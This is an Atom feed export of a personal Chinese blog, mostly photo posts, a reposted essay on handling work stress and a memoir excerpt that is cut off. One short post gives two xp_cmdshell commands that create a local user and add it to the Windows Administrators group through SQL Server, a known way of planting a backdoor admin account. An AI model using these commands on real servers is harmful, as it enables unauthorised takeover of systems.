<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6966345600478420514</id><updated>2011-04-22T04:47:58.033+08:00</updated><category term='冷酷人生 bourne 谍影重重 冷暖自知 印尼 雅加达 Semarang'/><title type='text'>冷酷人生，冷暖自知</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>34</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1999103080701830172</id><published>2009-04-01T00:12:00.001+08:00</published><updated>2009-04-01T00:15:12.724+08:00</updated><title type='text'>通过SQL增加系统用户</title><content type='html'>exec   xp_cmdshell   'net   user   123   123   /add'     &lt;br /&gt;  exec   xp_cmdshell   'net   localgroup   Administrators   123   /add'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1999103080701830172?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1999103080701830172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1999103080701830172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1999103080701830172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1999103080701830172'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2009/04/sql.html' title='通过SQL增加系统用户'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-5415687408163964424</id><published>2009-02-15T02:37:00.004+08:00</published><updated>2009-02-15T02:41:18.483+08:00</updated><title type='text'>上班前的云彩</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/SZcQOVdGgCI/AAAAAAAABJM/JR-CIRohuso/s1600-h/DSC_1191.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 285px;" src="http://1.bp.blogspot.com/_6JSTY21Fftg/SZcQOVdGgCI/AAAAAAAABJM/JR-CIRohuso/s400/DSC_1191.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5302724924715466786" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/SZcP-USdLdI/AAAAAAAABJE/wOLhDMBMMJE/s1600-h/DSC_1190.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 286px;" src="http://4.bp.blogspot.com/_6JSTY21Fftg/SZcP-USdLdI/AAAAAAAABJE/wOLhDMBMMJE/s400/DSC_1190.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5302724649524473298" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/SZcP0dXQIDI/AAAAAAAABI8/Y5gusX8N3ng/s1600-h/DSC_1189.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 252px; height: 400px;" src="http://3.bp.blogspot.com/_6JSTY21Fftg/SZcP0dXQIDI/AAAAAAAABI8/Y5gusX8N3ng/s400/DSC_1189.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5302724480161816626" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/SZcPoV3GINI/AAAAAAAABI0/lOTeI0kZvZ0/s1600-h/DSC_1188.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 252px; height: 400px;" src="http://1.bp.blogspot.com/_6JSTY21Fftg/SZcPoV3GINI/AAAAAAAABI0/lOTeI0kZvZ0/s400/DSC_1188.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5302724271989465298" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-5415687408163964424?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/5415687408163964424/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=5415687408163964424' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5415687408163964424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/5415687408163964424'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2009/02/blog-post.html' title='上班前的云彩'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6JSTY21Fftg/SZcQOVdGgCI/AAAAAAAABJM/JR-CIRohuso/s72-c/DSC_1191.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1080360934677325285</id><published>2008-12-09T20:25:00.002+08:00</published><updated>2008-12-09T20:28:35.377+08:00</updated><title type='text'>830圣诞</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/ST5kJTsFOxI/AAAAAAAAA3M/-mqrTIf_Eys/s1600-h/830christmas.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 320px;" src="http://3.bp.blogspot.com/_6JSTY21Fftg/ST5kJTsFOxI/AAAAAAAAA3M/-mqrTIf_Eys/s400/830christmas.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5277765924391566098" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1080360934677325285?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1080360934677325285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1080360934677325285' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1080360934677325285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1080360934677325285'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2008/12/830.html' title='830圣诞'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_6JSTY21Fftg/ST5kJTsFOxI/AAAAAAAAA3M/-mqrTIf_Eys/s72-c/830christmas.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-7610374038869749847</id><published>2008-12-09T20:04:00.000+08:00</published><updated>2008-12-09T20:06:24.978+08:00</updated><title type='text'>圣诞节</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/ST5fEuKoSQI/AAAAAAAAA3E/krbhl0ihy-0/s1600-h/interclub_christmas.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 320px;" src="http://3.bp.blogspot.com/_6JSTY21Fftg/ST5fEuKoSQI/AAAAAAAAA3E/krbhl0ihy-0/s400/interclub_christmas.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5277760348041529602" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-7610374038869749847?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/7610374038869749847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=7610374038869749847' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7610374038869749847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7610374038869749847'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2008/12/blog-post.html' title='圣诞节'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_6JSTY21Fftg/ST5fEuKoSQI/AAAAAAAAA3E/krbhl0ihy-0/s72-c/interclub_christmas.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-7322771578647117930</id><published>2007-12-01T23:41:00.000+08:00</published><updated>2007-12-01T23:45:06.233+08:00</updated><title type='text'>QQ signature</title><content type='html'>well i'm terrified of these four walls, these iron bars can't hold my soul in .&lt;br /&gt;高墙铁索再也无法禁锢我的心灵&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-7322771578647117930?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/7322771578647117930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=7322771578647117930' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7322771578647117930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/7322771578647117930'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/12/qq-signature.html' title='QQ signature'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1053251115523546467</id><published>2007-11-28T23:48:00.000+08:00</published><updated>2007-11-28T23:57:57.968+08:00</updated><title type='text'>YOU</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/R02P0Mc539I/AAAAAAAAAJ0/eG8KsptEQBw/s1600-h/YOU.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_6JSTY21Fftg/R02P0Mc539I/AAAAAAAAAJ0/eG8KsptEQBw/s400/YOU.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5137920876758032338" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-1053251115523546467?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/1053251115523546467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=1053251115523546467' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1053251115523546467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/1053251115523546467'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/you.html' title='YOU'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6JSTY21Fftg/R02P0Mc539I/AAAAAAAAAJ0/eG8KsptEQBw/s72-c/YOU.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-2388770885261268914</id><published>2007-11-28T23:35:00.000+08:00</published><updated>2007-11-28T23:40:21.869+08:00</updated><title type='text'>How to enjoy your high pressure work</title><content type='html'>我们所生活的当代大都市，如同一个“高压锅”，拥挤的交通、狭小的住宅、行色匆匆的路人……这一切都在告诉人们：这是一个繁忙的国度。在这样一个竞争日益激烈的社会中，白领们长期置身于精神的紧张与亢奋之中，许多人都患上了“现代病”。&lt;br /&gt;&lt;br /&gt;于是，很多人的工作、生活理念正在悄然发生变化：渴望在工作之余找到一片能使身心放松、压力缓解的“绿洲”。其实，在工作的同时你也可以享受到它的快乐，可以让自己过得轻松愉快。&lt;br /&gt;&lt;br /&gt;首先，要对工作保持良好的心态，努力去营造一个轻松愉快、友好和谐的工作环境。&lt;br /&gt;&lt;br /&gt;试想看：我们对工作的态度、对同事的态度是否都曾经或正在困扰着我们呢？这种困扰是否曾经使我们与同事之间产生矛盾甚至怨恨呢？这种困扰是否使我们的心情烦闷，从而使工作迟滞不前呢？&lt;br /&gt;&lt;br /&gt;事实上，要避免这样的困扰并不是什么困难的事，只要我们稍稍改变一下看待事物的角度，情况就会有很大的不同。&lt;br /&gt;&lt;br /&gt;下一次出门去上班，不知这一天怎么过时，先别担忧。下定决心，采用一种全新的方式去处事待人，就试这么一天。积极乐观一点你也许会使自己的所作所为有所改观。&lt;br /&gt;&lt;br /&gt;就试这么一天，对同事尽量友善。把他们当作恩人来看待，好像你能留在这个岗位上工作全该归功于他们，因此幸得有他们做同事。就试这么一天，不再吹毛求疵，挑剔别人。设法找出每一件事物的优点，并且找出每一个跟你一起工作的人值得称赞的优点。&lt;br /&gt;&lt;br /&gt;就试这么一天，要纠正别人，尽量以幽默示之，不要出言伤人；设身处地，就像被纠正的人是自己。&lt;br /&gt;&lt;br /&gt;就试这么一天，不要求自己所做的事都尽善尽美，也不再尝试打破纪录。称职地做好眼前的工作，不强自己所难。&lt;br /&gt;&lt;br /&gt;就试这么一天，如果自己对工作胜任有余，就不再不停地反躬自问：我的表现跟职位和酬薪是否相称？&lt;br /&gt;&lt;br /&gt;就试这么一天，心存感激，庆幸自己活在这个社会和时代，无须在恶劣环境下做劳累讨厌的工作。为能在自由国度里工作而感恩不尽：“在这个国家里没有人强迫我工作”。&lt;br /&gt;&lt;br /&gt;就试这么一天，为自己有工作做、活得好而满心欣喜，庆幸自己不是在战壕里躲避枪弹，或是在医院里等待动手术。&lt;br /&gt;&lt;br /&gt;就试这么一天，不去预期别人会如何对待你，不拿自己的酬薪、地位跟别人比较——就因为你是你，所以你很高兴。&lt;br /&gt;&lt;br /&gt;就试这么一天，不计较事情“对我有什么好处”，只想在每件事上你帮得了什么忙。&lt;br /&gt;&lt;br /&gt;就试这么一天，下班后不再想今天做了什么，还有什么没有做。反之，盼望傍晚到来，不管完成了什么都感到欣慰。&lt;br /&gt;&lt;br /&gt;这些想法都不复杂，更非天方夜谭。它们的好处是可以令你活得更有意义、更快乐。最重要的是，它们能使你心境平静，而这是你最珍贵的东西。&lt;br /&gt;&lt;br /&gt;其次，我们要懂得在紧张的工作状态中调节自己，放松自己。&lt;br /&gt;&lt;br /&gt;第一，要有良好的生活习惯。起居规律，保证充足的睡眠。&lt;br /&gt;早上交通时间，放松一下自己，不要去考虑工作。而且在这时，你就需要给自己的一天定一个愉快的基调：看看报纸（千万不要只局限于商业版），听听音乐或广播。找一件让自己高兴的事，打发掉路上的无聊时间。选择安静优美的路线。利用一切机会，接近大自然。&lt;br /&gt;午餐时间，是好好接触一下大自然休假的时候，我们愿意惬意地呆在大自然的怀抱里。工作的时候，忙得昏天暗地的，也只有午餐的时候，才会有机会走出写字楼。&lt;br /&gt;&lt;br /&gt;第二，美化你的周围环境，你的办公环境是一个影响你心情的要素。将桌上的那堆废纸清理掉，面对杂乱的办公桌，好心情也会变坏；你还需要给办公桌一点装饰，如放上爱人的相片，或一张美丽的风景照片——最重要的是，让办公桌变成是你愿意呆的地方。&lt;br /&gt;&lt;br /&gt;第三，学会合理安排工作，给任务分级：确定你做完了最重要的工作后，再接着干别的。这样，你会发现，给了自己轻松的同时，效率也提高了。&lt;br /&gt;学习一个时间只做一件事情的艺术，更好地管理自己的时间。例如，不要打断手上的工作去看EMAIL。&lt;br /&gt;此外，试一试“慢”的哲学。在休假的时候，你之所以非常放松，是因为你放慢了生活的节奏。匆忙让身体分泌了更多的肾上腺素，导致身体感觉到压力。所以，为什么要跑着去复印呢？为什么要一手电话，另一手还在打电脑呢？这只能给你带来更多的压力。&lt;br /&gt;&lt;br /&gt;****快乐小窍门****&lt;br /&gt;1.在条件允许的情况下加强有氧运动，如跑步、骑自行车、游泳等，可使人体发生生理上的一系列变化，从而起到调节情绪的作用。&lt;br /&gt;&lt;br /&gt;2.不要强忍眼泪，而要学会倾诉。研究表明，流泪有助于排除人体在激动和紧张时产生的有害物质。将心中的委屈、压抑、担心和焦虑统统说出来，去说给那些愿意倾听我们，并且真心实意帮助我们的人。如果难于启齿就把它写下来。总之，只有吐露出那些困扰我们的东西，我们才能感到踏实。&lt;br /&gt;&lt;br /&gt;3.周末的时候，不要从事一些类似工作的活动，这样只会使你更紧张和疲劳。相反，应该努力为自己营造一个“非工作”的情境，如郊游、野餐，或者去参加社区、家庭的文化或创作活动。参与社区服务活动所带来的快乐与价值感，将能够平衡我们在日常工作时所产生的苦闷，让我们活得更快乐。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-2388770885261268914?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/2388770885261268914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=2388770885261268914' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2388770885261268914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/2388770885261268914'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/how-to-enjoy-your-high-pressure-work.html' title='How to enjoy your high pressure work'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-4714662786443453988</id><published>2007-11-28T15:26:00.000+08:00</published><updated>2007-11-28T15:29:48.436+08:00</updated><title type='text'>乌镇站</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/R00Y48c537I/AAAAAAAAAJk/j5yuj49FBjs/s1600-h/IMG_8005.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_6JSTY21Fftg/R00Y48c537I/AAAAAAAAAJk/j5yuj49FBjs/s400/IMG_8005.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137790116478705586" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_6JSTY21Fftg/R00YoMc536I/AAAAAAAAAJc/Mg5b0JgKMmw/s1600-h/IMG_8003.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_6JSTY21Fftg/R00YoMc536I/AAAAAAAAAJc/Mg5b0JgKMmw/s400/IMG_8003.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137789828715896738" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-4714662786443453988?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/4714662786443453988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=4714662786443453988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/4714662786443453988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/4714662786443453988'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/blog-post_3670.html' title='乌镇站'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_6JSTY21Fftg/R00Y48c537I/AAAAAAAAAJk/j5yuj49FBjs/s72-c/IMG_8005.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-6721642183083348109</id><published>2007-11-28T15:22:00.000+08:00</published><updated>2007-11-28T15:25:57.084+08:00</updated><title type='text'>On My Way</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_6JSTY21Fftg/R00X7sc535I/AAAAAAAAAJU/tn3MHgmYUxI/s1600-h/20070824643.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_6JSTY21Fftg/R00X7sc535I/AAAAAAAAAJU/tn3MHgmYUxI/s400/20070824643.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137789064211718034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/R00X1cc534I/AAAAAAAAAJM/zRfb6bgFGZw/s1600-h/20070816538.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_6JSTY21Fftg/R00X1cc534I/AAAAAAAAAJM/zRfb6bgFGZw/s400/20070816538.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137788956837535618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/R00Xvcc533I/AAAAAAAAAJE/kWZhl6w3ksg/s1600-h/20070814495.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_6JSTY21Fftg/R00Xvcc533I/AAAAAAAAAJE/kWZhl6w3ksg/s400/20070814495.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137788853758320498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/R00Xgcc532I/AAAAAAAAAI8/ZIkA0vNIOKU/s1600-h/20070806270.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_6JSTY21Fftg/R00Xgcc532I/AAAAAAAAAI8/ZIkA0vNIOKU/s400/20070806270.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137788596060282722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_6JSTY21Fftg/R00Xacc531I/AAAAAAAAAI0/Vthoh-7LUPM/s1600-h/20070804213.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_6JSTY21Fftg/R00Xacc531I/AAAAAAAAAI0/Vthoh-7LUPM/s400/20070804213.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137788492981067602" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-6721642183083348109?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/6721642183083348109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=6721642183083348109' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/6721642183083348109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/6721642183083348109'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/on-my-way.html' title='On My Way'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_6JSTY21Fftg/R00X7sc535I/AAAAAAAAAJU/tn3MHgmYUxI/s72-c/20070824643.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-679471343059659090</id><published>2007-11-28T15:17:00.000+08:00</published><updated>2007-11-28T15:18:48.314+08:00</updated><title type='text'>My Similar Star</title><content type='html'>&lt;a href="http://4.bp.blogspot.com/_6JSTY21Fftg/R00WO8c530I/AAAAAAAAAIs/NUKnjo34t34/s1600-h/xiaoqiao3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_6JSTY21Fftg/R00WO8c530I/AAAAAAAAAIs/NUKnjo34t34/s400/xiaoqiao3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5137787195900944194" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6966345600478420514-679471343059659090?l=fanuzan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://fanuzan.blogspot.com/feeds/679471343059659090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6966345600478420514&amp;postID=679471343059659090' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/679471343059659090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6966345600478420514/posts/default/679471343059659090'/><link rel='alternate' type='text/html' href='http://fanuzan.blogspot.com/2007/11/my-similar-star.html' title='My Similar Star'/><author><name>逐风浪子</name><uri>http://www.blogger.com/profile/14782316811763045315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_6JSTY21Fftg/R00WO8c530I/AAAAAAAAAIs/NUKnjo34t34/s72-c/xiaoqiao3.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6966345600478420514.post-1439084474906988038</id><published>2007-11-28T15:14:00.001+08:00</published><updated>2007-11-28T15:14:57.146+08:00</updated><title type='text'>【ZT】故人旧字</title><content type='html'>文/边缘&lt;br /&gt;&lt;br /&gt;7月，告别我的大学，整整一年。&lt;br /&gt;&lt;br /&gt;    一个朋友对另一个朋友说，如果你的大学在一方面不够好，那么我相信在另一方面一定很精彩。那时我快要进入大四。&lt;br /&gt;&lt;br /&gt;    我每每回想起我的大学，总是觉得很多方面都做的不够好，后悔挂了那么多课，后悔守着那么大的图书馆不知道去利用，后悔那么多课都不曾去听过，到最后总结起来就总是这么两个字：失败。&lt;br /&gt;&lt;br /&gt;    